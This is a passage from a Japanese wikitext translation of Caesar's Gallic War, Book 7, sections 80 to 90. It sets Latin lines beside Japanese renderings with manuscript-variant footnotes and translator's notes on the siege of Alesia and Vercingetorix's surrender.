*utrosque et laudis cupiditas et timor ignominiae ad virtutem excitabant&lt;ref&gt;excitabant はB･M･L･N･R写本などの記述で、χ系･B･S･π系･U写本などでは excitabat となっている。&lt;/ref&gt;. 
**賞賛への功名心も、不名誉への恐れも、双方を武勇へと駆り立てた。
*⑥　Cum a meridie prope ad solis occasum dubia victoria pugnaretur, 
**正午から、ほぼ日没の頃まで、勝利が不確実なまま戦われていたときに、
*Germani una in parte confertis turmis 
**ゲルマニア人たちが、騎兵部隊を一か所に密集させて、
*in hostes impetum fecerunt eosque propulerunt; 
**敵方に突撃を行ない、彼ら（ガッリア騎兵）を駆逐した。
*⑦　quibus in fugam coniectis 
**その者たち（ガッリア騎兵）は逃亡に追いやられて、
*sagittarii circumventi interfectique sunt. 
**弓兵たちは包囲されて殺戮された。
*⑧　Item ex reliquis partibus nostri cedentes usque ad castra insecuti 
**我が方（ローマ勢）の残りの部隊も、撤退する（ガッリア騎兵の）者たちを陣営のところまで追撃して、
*sui colligendi facultatem non dederunt. 
**立ち直る機会を与えなかった。
*⑨　At ii qui ab [[w:la:Alesia|Alesia]] processerant, 
**そして、[[w:アレシア|アレスィア]]から進み出ていた者たちは、
*maesti prope victoria desperata se in oppidum receperunt.
**ほとんど絶望的な勝利に悲嘆して、城塞都市に退却した。

===81節===
'''ガッリア来援軍と籠城軍がローマ陣地に夜襲をしかける'''
*①　Uno die intermisso Galli 
**ガッリア人たちは一日を間に置いて、
*atque hoc spatio magno cratium, scalarum, harpagonum numero effecto 
**この間に、多数の柴、[[w:梯子|梯子]]、鉤竿を調達して、
*media nocte silentio ex castris egressi 
**真夜中に静けさのうちに陣営から進発して、
*ad campestres munitiones accedunt. 
**平地の（ローマ勢の）塁壁の辺りへ近づいた。
*②　Subito clamore sublato, qua significatione 
**突然に雄叫びを上げて、それを合図として、
*qui in oppido obsidebantur de suo adventu cognoscere possent, 
**[[w:オッピドゥム|城塞都市]]の中に包囲されている者たちが、自分たちの到来について認識できるようにした。
*crates proicere, fundis, sagittis, lapidibus nostros de vallo proturbare 
**柴を投げ込み、投石器で、矢で、石でもって我が方（ローマ勢）を防柵から追い出すこと、
*reliquaque quae ad oppugnationem pertinent parant administrare. 
**（塁壁の）攻略のために役立つほかのことに従事すること、を目論んだ。
*③　Eodem tempore clamore exaudito 
**同時に（来援軍の）雄叫びを聞き取って、
*dat tuba signum suis [[w:la:Vercingetorix|Vercingetorix]] atque ex oppido educit. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、麾下の者たちにラッパで指図を与えて、城塞都市から進発させた。
*④　Nostri, ut superioribus diebus, suus cuique&lt;ref&gt;suus cuique はβ系写本の記述で、χ系･B･M･S写本では ut cuique となっている。&lt;/ref&gt; erat locus attributus, ad munitiones accedunt; 
**我が方（ローマ勢）は、以前の日々に、おのおのの部署が割り当てられており、塁壁のところへ近寄った。
*fundis librilibus sudibusque, quas in opere disposuerant, ac glandibus Gallos proterrent. 
**堡塁に分配されていたポンド投石器や杭、並びに玉によって、ガッリア人たちを追い払った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：librilis funda「ポンド投石器」；古代ローマの1ポンド [[w:la:Libra pondus|libra]] は約327グラム&lt;ref&gt;[[w:en:Ancient Roman units of measurement#Weight]]を参照。&lt;/ref&gt;。）&lt;/span&gt;
*⑤　Prospectu tenebris adempto multa utrimque vulnera accipiuntur. 
**眺望が暗闇により奪われて、双方が多くの傷を蒙った。
*Complura tormentis tela coniciuntur. 
**かなり多くの飛び道具が（巻上式）投石機によって投じられた。
*⑥　At [[w:la:Marcus Antonius|M.(Marcus) Antonius]] et [[w:la:Gaius Trebonius|C.(Gaius) Trebonius]] legati, 
**[[w:マルクス・アントニウス|マルクス・アントニウス]]と[[w:ガイウス・トレボニウス|ガイウス・トレボニウス]] [[w:レガトゥス|両副官]]は、
*quibus hae partes ad defendendum obvenerant, 
**この方面を防衛するために割り当てられていたが、
*qua ex parte nostros premi intellexerant, 
**我が方（ローマ勢）が押されぎみであると見なした一帯のために、
*his auxilio ex ulterioribus castellis deductos submittebant.
**この者たちを支援するために、向こう側の砦から引き出した者たちを（援兵として）派遣した。

===82節===
'''アレスィア内外のガッリア勢が障害物に阻まれて退く'''
*①　Dum longius ab munitione aberant Galli, 
**ガッリア人たちは（ローマ勢の）塁壁から遠くに離れていた間は、
*plus multitudine telorum proficiebant; 
**飛び道具の多さによって、前進していた。
*posteaquam propius successerunt, 
**（塁壁の方へ）さらに近くに進入して来た後では、
*aut se ipsi&lt;ref&gt;ipsi はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; stimulis inopinantes induebant 
**あるいは、思いがけず自ら「刺」に陥り、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：stimulus「刺」については、[[#73節|73節]]⑨項を参照。）&lt;/span&gt;
*aut in scrobes delati transfodiebantur 
**あるいは、穴に陥落して（「百合」で）突き刺されたり、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：「穴」と「百合」については、[[#73節|73節]]⑤～⑧項を参照。）&lt;/span&gt;
*aut ex vallo ac turribus traiecti pilis muralibus interibant. 
**あるいは、防柵や櫓から[[w:ピルム・ムーリアリス|防壁槍]]で射抜かれて逝った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：防壁槍については、[[ガリア戦記 第5巻#40節|第5巻40節]]を参照。）&lt;/span&gt;
*②　Multis undique vulneribus acceptis 
**（ガッリア勢は）至る所で多くの傷を負ったが、
*nulla munitione perrupta, 
**どの（ローマ側の）塁壁も突破されなかった。
*cum lux appeteret, 
**&lt;ruby&gt;&lt;rb&gt;暁光&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎょうこう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が（空を）染めたとき、
*veriti ne ab latere aperto ex superioribus castris eruptione circumvenirentur, 
**開けた側面から、（ローマ勢の）高所の陣営からの突撃によって包囲されないようにと怖れて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：開けた側面とは、盾で守られていない右側のこと。）&lt;/span&gt;
*se ad suos receperunt. 
**味方のところへ退却した。
*③　At interiores 
**それに対して、（アレスィア攻囲の）内側の者たちは、
*dum ea quae a [[w:la:Vercingetorix|Vercingetorige]] ad eruptionem praeparata erant&lt;ref&gt;praeparata erant は、写本(ω)ではpraeparaverant だが、このように修正提案されている。あるいは、a Vercingetorige が削除提案されている。&lt;/ref&gt; proferunt, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]により、突撃のために準備していたものを運び出して
*priores fossas explent, 
**一番前の堀を埋めている間に、
*diutius in his rebus administrandis morati 
**これらの事に従事することに、より長く妨げられて、
*prius suos discessisse cognoverunt quam munitionibus adpropinquarent. 
**塁壁に近づくよりも前に味方（＝来援軍）が退去したことを知ったのだ。
*Ita re infecta in oppidum reverterunt.
**こうして、事は達成されていないものの、[[w:オッピドゥム|城塞都市]]に引き返した。

===83節===
'''ウェルカッスィウェッラウヌスが兵6万を率いて急所の丘へ向かう'''
*①　Bis magno cum detrimento repulsi Galli 
**大きな損害とともに二度も撃退されたガッリア人たちは、
*quid agant consulunt; 
**何をなすべきかを協議した。
*locorum peritos adhibent; 
**（その）土地に熟知した者たちを招いた。
*ex his superiorum castrorum situs munitionesque cognoscunt. 
**この者たちから、（ローマ勢の）高いところの陣営の位置や塁壁を調べ上げた。
*②　Erat a septentrionibus collis, 
**（アレスィアの）北方に丘陵があって、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：これは現在のレア山 le Mont R&amp;eacute;a であると思われ、山頂にはメネルー＝ル＝ピトワ村&lt;ref&gt;[[w:fr:Ménétreux-le-Pitois]]や[http://maps.google.fr/maps?f=q&amp;hl=fr&amp;geocode=&amp;q=m%C3%A9n%C3%A9treux+le+pitois&amp;sll=42.423457,8.789063&amp;sspn=23.611541,40.957031&amp;ie=UTF8&amp;t=h&amp;hq=&amp;hnear=M%C3%A9n%C3%A9treux-le-Pitois,+C%C3%B4te-d'Or,+Bourgogne&amp;ll=47.55475,4.460106&amp;spn=0.018507,0.010042&amp;z=15 Google map]などを参照。&lt;/ref&gt;がある。）&lt;/span&gt;
*quem propter magnitudinem circuitus 
**その周囲の大きさのために、
*opere circumplecti non potuerant nostri, 
**我が方（ローマ勢）は、堡塁により囲い込むことができずにいた。
*necessarioque&lt;ref&gt;-que はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; paene iniquo loco et leniter&lt;ref&gt;leniter はπ系写本の記述で、α系･ρ系写本では leviter となっている。&lt;/ref&gt; declivi castra fecerunt&lt;ref&gt;fecerunt はα系写本の記述で、β系写本では fecerant となっている。&lt;/ref&gt;. 
**やむをえず、ほとんど不利でゆるやかに傾斜した地点に陣営を造った。
*③　Haec C.(Gaius) Antistius Reginus et C.(Gaius) Caninius Rebilus legati 
**これを、ガーイウス・アンティスティウス・レーギーヌスとガイウス・カニニウス・レビルス [[w:レガトゥス|両副官]]が
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:fr:Caius Antistius Reginus|Gaius Antistius Reginus]]'' は[[ガリア戦記_第6巻#1節|第6巻1節]]で既出。[[#90節|90節]]で後出。）&lt;/span&gt;
*cum duabus legionibus obtinebant. 
**2個軍団とともに占めていた。
*④　Cognitis per exploratores regionibus duces hostium 
**敵方の将帥たちは、偵察者たちを通じて一帯を調べ上げて、
*LX(sexaginta) milia ex omni numero deligunt 
**総員のうちから6万名を選抜した。
*earum civitatum quae maximam virtutis opinionem habebant; 
**武勇において大きな評判を得ている部族のうち（から選抜した）。
*⑤　quid quoque pacto agi placeat, occulte inter se constituunt; 
**何が、どんな方法で行なわれるのがよいか、互いに密かに取り決めた。
*adeundi tempus definiunt, cum meridie&lt;ref&gt;meridie は中世の写本(ω)の記述であるが、近世の写本(ς)では meridies となっている。&lt;/ref&gt; esse videatur. 
**正午であると思われる頃を突撃する時と定めた。
*⑥　His copiis Vercassivellaunum Arvernum, 
**この軍勢を、[[w:アルウェルニ族|アルウェルニー族]]のウェルカッスィウェッラウヌス、
*unum ex quattuor ducibus, propinquum [[w:la:Vercingetorix|Vercingetorigis]], praeficiunt. 
**（すなわち）4人の将帥たちの1人で、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の親族である者に、指揮させた。
*⑦　Ille ex castris prima vigilia egressus 
**彼（ウェルカッスィウェッラウヌス）は、陣営から第一夜警時に進発して、
*prope confecto sub lucem itinere 
**夜明け前にほぼ行軍が成し遂げられて、
*post montem se occultavit 
**山の後ろに身を隠して、
*militesque ex nocturno labore sese reficere iussit. 
**兵士たちに夜間の疲労を回復しておくことを命じた。
*⑧　Cum iam meridies adpropinquare videretur, 
**すでに正午に近付いていると思われたときに、
*ad ea castra, quae supra demonstravimus, contendit; 
**前に述べた陣営のところへ急いだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：本節②項を参照。）&lt;/span&gt;
*eodemque tempore equitatus ad campestres munitiones accedere 
**同時に（ガッリア来援軍の）[[w:騎兵隊|騎兵隊]]が平地の（ローマ勢の）塁壁のところへ近付き、
*et reliquae copiae pro castris sese ostendere coeperunt.
**残りの軍勢が陣営の前に姿を現わし始めた。

===84節===
'''ウェルキンゲトリークスらアレスィア籠城軍も善戦する'''
*①　[[w:la:Vercingetorix|Vercingetorix]] ex arce [[w:la:Alesia|Alesiae]] suos conspicatus ex oppido egreditur; 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、[[w:アレシア|アレスィア]]の高台から味方を望見して、[[w:オッピドゥム|城塞都市]]から進発した。
*a castris&lt;ref&gt;a castris はβ系写本の記述で、α系写本では単に castris となっている。&lt;/ref&gt;, longurios, musculos, falces 
**陣営から、長い竿、小屋、破城鎌や、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：falx「破城鎌」については、[[ガリア戦記 第5巻#42節|第5巻42節]]を参照。）&lt;/span&gt;
*reliquaque quae eruptionis causa paraverat profert. 
**（塁壁を）突破するために準備していたほかのものを運び出した。
*②　Pugnatur uno tempore omnibus locis atque omnia temptantur; 
**一時にあらゆる場所で戦われて、あらゆることが試みられた。
*quae minime visa pars firma est, huc concurritur. 
**あまり堅固ではないと思われる部分、ここへ襲いかかった。
*③　Romanorum manus tantis munitionibus distinetur 
**ローマ人の手勢は、これほどの（長大な）塁壁により離して置かれていて、
*nec facile pluribus locis occurrit. 
**より多くの場所には容易に駆け付けられなかった。
*④　Multum ad terrendos nostros valet clamor qui post tergum pugnantibus exstitit, 
**戦っている者たちの背後で生じた雄叫びは、我が方（ローマ勢）を怖れさせるために大いに力があった。
*quod suum periculum in aliena vident virtute&lt;ref&gt;virtute「武勇」 はβ系写本の記述で、α系写本では salute「安全」 となっている。&lt;/ref&gt; constare; 
**というのは、自分たち（ローマ勢）の危険が他人（ガッリア勢）の武勇に依拠していると思ったから。
*omnia enim plerumque, quae absunt, vehementius hominum mentes perturbant.
**なぜなら（そこに）不在であるものすべてはたいてい、人間の心を激しく混乱させるものであったからである。

===85節===
'''ウェルカッスィウェッラウヌスが急所の丘を攻める'''
*①　Caesar idoneum locum nactus 
**カエサルは適当な場所を得て，
*quid quaque in&lt;ref&gt;quaque in はβ系写本の記述で、α系写本では qua ex となっている。&lt;/ref&gt; parte geratur cognoscit; 
*何が各方面でなされているのかを認識した。
*laborantibus submittit. 
**苦戦している者たちに（援兵を）派遣した。
*②　Utrisque ad animum occurrit unum esse illud tempus, quo maxime contendi conveniat: 
**双方にとって、最も雌雄を決するべきはこの時のみであるということが、心に生じた。
*③　Galli, nisi perfregerint munitiones, de omni salute desperant; 
**ガッリア人たちは、（ローマ人の）塁壁を突破しない限り、あらゆる身の安全に絶望することになる。
*Romani, si rem obtinuerint, finem laborum omnium exspectant. 
**ローマ人は、もし事を成就したら、すべての労苦の終わるということを期待した。
*④　Maxime ad superiores munitiones laboratur, quo [[w:la:Vercassivellaunus|Vercassivellaunum]] missum demonstravimus. 
**ウェルカッスィウェッラウヌスが派遣されたと既述した、より高い塁壁の辺りで（ローマ勢は）とりわけ苦戦した。
*Iniquum loci ad declivitatem fastigium magnum habet momentum. 
**けわしい地形の不利な傾斜が（ローマ勢にとって）大きな影響力を持った。
*⑤　Alii tela coniciunt, alii testudine facta subeunt; 
**（ガッリア勢の）ある者は飛び道具を投げやって、ある者は[[w:テストゥド|亀甲陣形]]を形成して突き進んだ。
*defatigatis invicem integri succedunt. 
**疲労させられた者たちに対しては、新手の者たちが交代した。
*⑥　Agger ab universis in munitionem coniectus 
**土が総勢により（ローマ人の）塁壁に投じられて、
*et ascensum dat Gallis 
**ガッリア人たちに登り道を与えもしたし、
*et ea, quae in terra occultaverant Romani, contegit; 
**ローマ人たちが地中に隠しておいたもの（障害物）を埋め込んでしまった。
*nec iam arma nostris nec vires suppetunt.
**我が方（ローマ勢）には、もはや武器も活力も十分になかった。

===86節===
'''危急存亡の秋、両軍の苦闘'''
*①　His rebus cognitis 
**これらの事態を知って、
*Caesar [[w:la:Titus Labienus|Labienum]] cum cohortibus sex subsidio laborantibus mittit; 
**カエサルは、[[w:ティトゥス・ラビエヌス|ラビエーヌス]]を6個&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とともに援兵として苦戦している者たちへ派遣した。
*②　imperat, si sustinere non possit&lt;ref&gt;possit はχ系･B･M･S･β系写本の記述で、L･N写本では posset となっている。&lt;/ref&gt;, deductis cohortibus eruptione pugnaret&lt;ref&gt;pugnaret はα系写本の記述で、β系写本では pugnet となっている。&lt;/ref&gt;; 
**もし（塁壁の防衛が）持ちこたえられなかったならば、諸大隊を引率して突撃によって戦うように、と命令していた。
*id nisi necessario ne faciat. 
**それは、やむをえないのでなければ行なわないように（と命じていた）。
*③　Ipse adit reliquos, cohortatur ne labori succumbant; 
**（カエサル）自身は、ほかの者たちを訪れて、労苦に屈服しないようにと鼓舞した。
*omnium superiorum dimicationum fructum in eo die atque hora docet consistere. 
**これまでのあらゆる奮闘の結実がこの日、この時にかかっていることを説いた。
*④　Interiores desperatis campestribus locis propter magnitudinem munitionum 
**（アレスィアに包囲されている）内側の者たちは、塁壁の大規模さのために、平坦な地点（での突破）を断念して、
*loca praerupta ex ascensu temptant; 
**けわしい場所を登り坂から攻撃してみた。
*huc ea quae paraverant conferunt. 
**ここに、準備していたものを運び集めた。
*⑤　Multitudine telorum ex turribus propugnantes deturbant, 
**たくさんの飛び道具によって、防戦している者たちを櫓から駆逐した。
*aggere et cratibus fossas explent, 
**土砂や柴で堀を埋めて、
*falcibus vallum ac loricam rescindunt.
**破城鎌によって防柵や胸壁を切り裂いた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：falx「破城鎌」については、[[ガリア戦記 第5巻#42節|第5巻42節]]を参照。）&lt;/span&gt;

===87節===
'''カエサルの救援、ラビエーヌスの作戦'''
*①　Mittit primo&lt;ref&gt;primo はφ系･ρ系写本の記述で、χ系･π系写本では primum となっている。&lt;/ref&gt; [[w:la:Decimus Iunius Brutus Albinus|Brutum adulescentem]] cum cohortibus Caesar, 
**カエサルは、初めに[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|青年ブルトゥス]]を諸&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とともに派遣して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：デキムス・ブルトゥスには[[ガリア戦記 第3巻#14節|第3巻14節]]で艦隊を、本巻[[#9節|9節]]②項では騎兵隊を指揮させている。）&lt;/span&gt;
*post cum aliis C.(Gaium) Fabium legatum; 
**後に副官のガイウス・ファビウスをほかの隊とともに（派遣した）。
*postremo ipse, cum vehementius pugnaretur, 
**最後には（カエサル）自身が、激しく戦われていたので、
*integros subsidio adducit. 
**新手の者たちを援兵として率いて行った。
*②　Restituto proelio ac repulsis hostibus 
**戦況が回復され、敵方が撃退されると、
*eo quo Labienum miserat contendit; 
**ラビエーヌスを派遣していたところに急いだ。
*cohortes IIII(quattuor) ex proximo castello deducit, 
**近隣の砦から4個歩兵大隊を引き出して、
*equitum partem se&lt;ref&gt;se はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; sequi, 
**[[w:騎兵|騎兵]]のある一部には、自らに随行することを、
*partem circumire exteriores munitiones et ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; tergo hostes adoriri iubet. 
**別の一部には、外側の塁壁を取り囲んで、敵方を背後から襲撃することを命じた。
*③　Labienus, postquam neque aggeres neque fossae vim hostium sustinere poterant, 
**ラビエーヌスは、土塁も堀も敵方の武力に持ちこたえることができなかった後で、
*coactis una XL(quadraginta) cohortibus, quas ex proximis praesidiis deductas fors obtulit, 
**近隣の宿営地から、はからずも引き出しておいた40個歩兵大隊を集結させて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この数は、写本によって異なり、モイゼルらは undecim「11個」と提案している。）&lt;/span&gt;
*Caesarem per nuntios facit certiorem, quid faciendum existimet. 
**何がなされるべきと考えたのかを、カエサルに伝令を通じて報告した。
*Accelerat Caesar, ut proelio intersit.
**カエサルは、戦闘（の場）に居合わせるように急いで行った。

===88節===
'''雌雄決し、ガッリア来援軍が敗走'''
*①　Eius adventu ex colore vestitus cognito, quo insigni in proeliis uti consuerat, 
**彼（カエサル）の到来が、（彼が）戦闘において目印として用いるのが常であった衣服の色から認識され、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは、真紅の外套を着用していたようである。）&lt;/span&gt;
*turmisque equitum et cohortibus visis quas se sequi iusserat, 
**（カエサルが）自らに随行することを命じていた諸&lt;ruby&gt;&lt;rb&gt;[[w:騎兵|騎兵]]小隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥルマ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や諸&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が望見されて、
*ut de locis superioribus haec declivia et devexa cernebantur, 
**（ウェルカッスィウェッラウヌスらが派遣された）高地から、これらの斜面や急坂が見分けられたので、
*hostes proelium committunt. 
**敵方（ガッリア勢）は戦端を開いた。
*②　Utrimque clamore sublato 
**（ガッリア来援軍とアレスィア籠城軍の）双方から雄叫びが上げられて、
*excipit rursus ex vallo atque omnibus munitionibus clamor. 
**さらに、防柵やすべての塁壁から（ローマ勢の）雄叫びが続いた。
*Nostri omissis pilis gladiis rem gerunt. 
**我が方（ローマ勢）は&lt;ruby&gt;&lt;rb&gt;[[w:ピルム|投槍]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を放棄して、&lt;ruby&gt;&lt;rb&gt;[[w:グラディウス (武器)|長剣]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;グラディウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で合戦した。
*③　Repente post tergum equitatus cernitur; 
**不意に（ガッリア勢の）背後に（ローマ勢の）騎兵隊が見分けられた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：87節②項で、カエサルは騎兵隊に外壁を迂回して敵を背後から襲撃するように命じていた。）&lt;/span&gt;
*cohortes aliae adpropinquant. 
**別の諸&lt;ruby&gt;&lt;rb&gt;歩兵大隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;も接近して来た。
*Hostes terga vertunt; 
**敵方（ガッリア勢）は、（ローマ勢に）背を向けた。
*fugientibus equites occurrunt. 
**逃げる者たち（ガッリア勢）を（ローマ勢の）騎兵たちが追撃した。
*Fit magna caedes. 
**大虐殺が起こった。
*④　Sedullus, dux et princeps Lemovicum, occiditur; 
**レモウィケス族の将帥で領袖であるセドゥッルスが斃された。
*[[w:la:Vercassivellaunus|Vercassivellaunus]] Arvernus vivus in fuga comprehenditur; 
**[[w:アルウェルニ族|アルウェルニー族]]のウェルカッスィウェッラウヌスは逃亡中に生きたまま捕らえられた。
*signa militaria LXXIIII(septuaginta quattuor) ad Caesarem referuntur; 
**（ガッリア勢の）74本の軍旗がカエサルのところへ運んで来られた。
*pauci ex tanto numero se incolumes&lt;ref&gt;se incolumes はα系写本の記述で、β系写本では incolumes se となっている。&lt;/ref&gt; in castra recipiunt. 
**これほどの兵数のうち、わずかな者たち（だけ）が無傷のまま陣営に退却した。
*⑤　Conspicati ex oppido caedem et fugam suorum 
**（アレスィアの）[[w:オッピドゥム|城塞都市]]から味方の虐殺や逃亡を視認した者たちは、
*desperata salute copias a munitionibus reducunt. 
**身の安全に絶望して、軍勢を塁壁から（城塞都市に）呼び戻した。
*⑥　Fit protinus hac re audita ex castris Gallorum fuga. 
**この事態が聞かれるとただちに、（来援に来ていた）ガッリア人たちの陣営から逃亡が生じた。
*Quodnisi crebris subsidiis ac totius diei labore milites essent defessi, 
**もし、たびたびの（味方への）支援や一日中の働きにより兵士たちが疲れ果てていなかったならば、
*omnes hostium copiae deleri potuissent. 
**敵方（ガッリア来援軍）の全軍勢が壊滅させられることが可能であっただろう。
*⑦　De media nocte missus equitatus novissimum agmen consequitur; 
**真夜中の頃に、派遣されていた（ローマ勢の）騎兵隊が（ガッリア勢の）後衛に追いついて、
*magnus numerus capitur atque interficitur; 
**（ガッリア勢の）大多数が捕らえられ、かつ殺戮された。
*reliqui ex fuga in civitates discedunt.
**（ガッリア来援軍の）残りの者たちは、逃亡して諸部族のところに逃げのびた。

==ガッリア同盟軍主力の降伏==
===89節===
[[画像:Vercingétorix se rend à César 1886 HPMotte.jpg|thumb|right|330px|「カエサルの陣営に投降するウェルキンゲトリークス」&lt;br&gt;“Vercingétorix se rendant au camp de César”、&lt;br&gt;アンリ＝ポール・モット（[[w:fr:Henri-Paul_Motte|Henri-Paul Motte]]）画、1886年。&lt;br&gt;[[w:ル・ピュイ＝アン＝ヴレ|ル・ピュイ=アン=ヴレ]]のクロザティエ美術館（[[w:fr:Musée Crozatier au Puy-en-Velay|Musée Crozatier]] au [[w:fr:Le Puy-en-Velay|Puy-en-Velay]]）蔵。]]
[[画像:Lionel Royer - Vercingetorix Throwing down His Weapons at the feet of Julius Caesar.jpg|thumb|right|330px|「ウェルキンゲトリークスが彼の武器をユリウス・カエサルの足元に投げ捨てる」“Vercingétorix jette ses armes aux pieds de Jules César”、リオネル＝ノエル・ロワイエ（[[w:fr:Lionel Royer|Lionel-Noël Royer]]）
画、1899年。[[w:ル・ピュイ＝アン＝ヴレ|ル・ピュイ=アン=ヴレ]]のクロザティエ美術館（[[w:fr:Musée Crozatier au Puy-en-Velay|Musée Crozatier]] au [[w:fr:Le Puy-en-Velay|Puy-en-Velay]]）蔵。]]
[[画像:Coin_Vercingetorix.jpg|thumb|right|300px|ローマがBC48年に発行した[[w:デナリウス|デナリウス銀貨]]。ウェルキンゲトリークスの横顔が刻まれているとも言われ、[[w:マメルティヌスの牢獄|トゥッリアヌム牢獄]]に虜囚となっているかつてのガッリアの盟主を見せしめにしたものとも考えられる。彼はBC46年に処刑されたが、カエサルもBC44年に暗殺された。]]
'''ウェルキンゲトリークスとアレスィア籠城軍の降伏'''
*①　Postero die [[w:la:Vercingetorix|Vercingetorix]] concilio convocato 
**（来援軍が敗走した）翌日に、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は会合を召集して、
*id bellum se suscepisse&lt;ref&gt;se suscepisse はα系写本の記述で、β系写本では suscepisse se となっている。&lt;/ref&gt; 
**この戦争を引き受けたことは
*non suarum necessitatum&lt;ref&gt;necessitatum はχ系･S･L･N･β系写本の記述で、B･M写本では necessitatium となっている。&lt;/ref&gt;, sed communis libertatis causa demonstrat, 
**自らの（野心の）必要性からではなく、（ガッリア）共通の自由のためだ、と明言した。
*②　et quoniam sit fortunae cedendum, 
**運命には従うべきものなのであるから、
*ad utramque rem se illis offerre, 
**（敗軍の将として、以下の）どちらの事にも、自ら（の処遇）を彼ら（ガッリア人たち）に委ねよう。
*seu morte sua Romanis satisfacere 
**あるいは（ウェルキンゲトリークス）自らの死によってローマ人たちに償うこと（を欲する）にせよ、
*seu vivum tradere velint. 
**あるいは生きたまま（ローマ人たちに）引き渡すことを欲するにせよ、と。
*③　Mittuntur de his rebus ad Caesarem legati. 
**これらの事柄について、カエサルのところへ使節たちが遣わされた。
*Iubet arma tradi, principes produci. 
**（カエサルは）武器が引き渡されること、領袖たちが連行されて来ることを命じた。
*④　Ipse in munitione pro castris consedit; 
**（カエサル）自身は、陣営の前の塁壁のところに腰掛けた。
*eo duces producuntur. 
**そこに（アレスィアに籠城していた）将帥たちが連行されて来た。
*Vercingetorix deditur, arma proiciuntur. 
**ウェルキンゲトリークスが引き渡されて、武器が投げ捨てられた。
*⑤　Reservatis [[w:la:Haedui|Haeduis]] atque Arvernis, 
**（カエサルは）[[w:ハエドゥイ族|ハエドゥイー族]]と[[w:アルウェルニ族|アルウェルニー族]]（の将兵たち）を保持しておいた。
*si per eos civitates reciperare&lt;ref&gt;reciperare はχ系･B&lt;sup&gt;1&lt;/sup&gt;･S･U写本の記述で、B&lt;sup&gt;c&lt;/sup&gt;･M･L･N･π系･R写本では recuperare となっている。&lt;/ref&gt; posset, 
**彼らによって両部族国家を（同盟国として）回復できないだろうかと（考えたのだ）。
*ex reliquis captivis toto exercitui capita singula praedae nomine distribuit.
**残りの（諸部族の）捕虜たちから、全軍（のローマ人）に一名ずつを戦利品という名目で分配した。

===90節===
[[画像:Autun_porte_Saint-André.JPG|thumb|right|300px|[[w:オータン|オータン市]]に遺されたローマ時代からの聖アンドレ門。[[w:ビブラクテ|ビブラクテ]]を首邑としていた[[w:ハエドゥイ族|ハエドゥイー族]]は、ローマ帝政初期に東方の平地に移り、「[[w:アウグストゥス|アウグストゥス]]の砦」を意味するアウグストドゥーヌム（[[w:la:Augustodunum|Augustodunum]]）を建設して首邑とした。これが現在のオータン（Autun）となっている。]]
[[画像:Clermont_vu_de_Montjuzet.JPG|thumb|right|300px|[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]の街並み。ローマに降伏した[[w:アルウェルニ族|アルウェルニー族]]は、後に首邑のゲルゴウィアを廃城とされ、北方の平野にあるネメトゥム（Nemetum）に移住させられた。帝政初期に[[w:アウグストゥス|アウグストゥス]]に由来するアウグストネメトゥム（[[w:la:Augustonemetum|Augustonemetum]]）に改称して、[[w:クレルモン教会会議|クレルモン教会会議]]が開かれるなど宗教的中心地として栄え、現在のクレルモン＝フェランに至る。]]
'''ハエドゥイー族とアルウェルニー族の降伏、諸軍団の冬営'''
*①　His rebus confectis in [[w:la:Haedui|Haeduos]] proficiscitur; 
**これらの事が成し遂げられて、（カエサルは）[[w:ハエドゥイ族|ハエドゥイー族]]のところに出発した。
*civitatem recipit. 
**同部族を（同盟国として）回復した。
*②　Eo legati ab Arvernis missi: 
**そこに、[[w:アルウェルニ族|アルウェルニー族]]から使節たちが遣わされて来て、
